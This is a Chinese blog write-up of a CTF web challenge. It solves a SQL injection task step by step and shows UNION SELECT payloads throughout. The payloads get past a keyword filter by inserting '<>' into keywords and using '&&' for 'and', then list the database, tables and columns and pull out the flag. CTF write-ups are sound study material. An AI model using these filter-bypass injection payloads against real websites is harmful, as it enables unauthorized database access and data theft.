“百度杯”CTF比赛 九月场-SQL

“百度杯”CTF比赛 九月场

SQL:

题目类型:web

题目描述:出题人就告诉你这是个注入,有种别走!打开题目靶机在url栏上看到id=1,又根据提示说明这是一道SQL注入的题型:

解题方法:这里我们知道是SQL注入之后,就可以开始进行注入了

第一步:先判断它的注入类型

我们看一下id=2是显示什么结果:

我们输入id=2-1,来进行判断是否是数字型注入:

返回的页面和id=1的页面一样,说明这里的SQL语句可以成功的计算出2-1的等式,因此他是数字型注入

因为这里是数值型注入,没有闭合条件,可以直接在后面构造SQL语句,这里我们采用SQL联合注入的方式

第二步:我们判断它的字段数:

显示这样的页面,说明注入失败,但是这里我们的SQL语句正确,说明这里有关键语句被过滤

1.我们先使用大小写的方式来看看能不能把关键字绕过:

?id=1 OrDeR By 1

说明大小写不行,绕不过去

2.我们猜测可能空格被过滤了,用/**/来尝试一下把空格绕过一下

?id=1/**/order/**/by/**/1

3.试试用双写来绕过一下关键字:

?id=1 ororderder bbyy 1

还是不行

4.尝试使用内联注释的方式:

?id=1 /*order by*/ 1

失败!

5.将关键字进行URL编码也不行

最后实在是想不到了,上网查了一下Writeup,发现可以使用<>插入到关键字中间来进行绕过:

?id=1 o<>rder by 1

成功!

来判断一下它的字段数:

爆出它的字段数为3,当字段为4时回显空白

第三步:来判断他的显示位:

构造下面payload:

?id=1 un<>ion s<>elect 1,2,3

爆出它的显示位是在第二列,后面就可以构造语句,控制输出显示在第二列

第四步:爆它的数据库名:

构造下面payload:

?id=1 u<>ion s<>elect 1,database(),3

爆出它的数据库名是sqli

第五步:爆出它的表名:

构造下面paylaod:

?id=1 u<>nion s<>elect 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli'

第六步:爆出它的字段名:

构造下面payload:

?id=1 u<>nion s<>elect 1,group_concat(column_name),3 from information_schema.columns where table_schema='sqli' and table_name='info'

发现失败!可能是and和or被过滤了,用&&和||来尝试一下绕过:

?id=1 u<>nion s<>elect 1,group_concat(column_name),3 from information_schema.columns where table_schema='sqli' && table_name='info'

成功!找到了flag的字段名:

第七步:爆出flag:

payload:

?id=1 u<>nion s<>elect 1,group_concat(flAg_T5ZNdrm),3 from info

得到flag

做完发现,查看网页源码,出题人给了很明显的提示,还把SQL查询语句写上去了:

这里我们学到了一种新的关键字被过滤的绕过方式,把<>插入到关键字中来进行绕过

posted @   张伟文  阅读(59)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示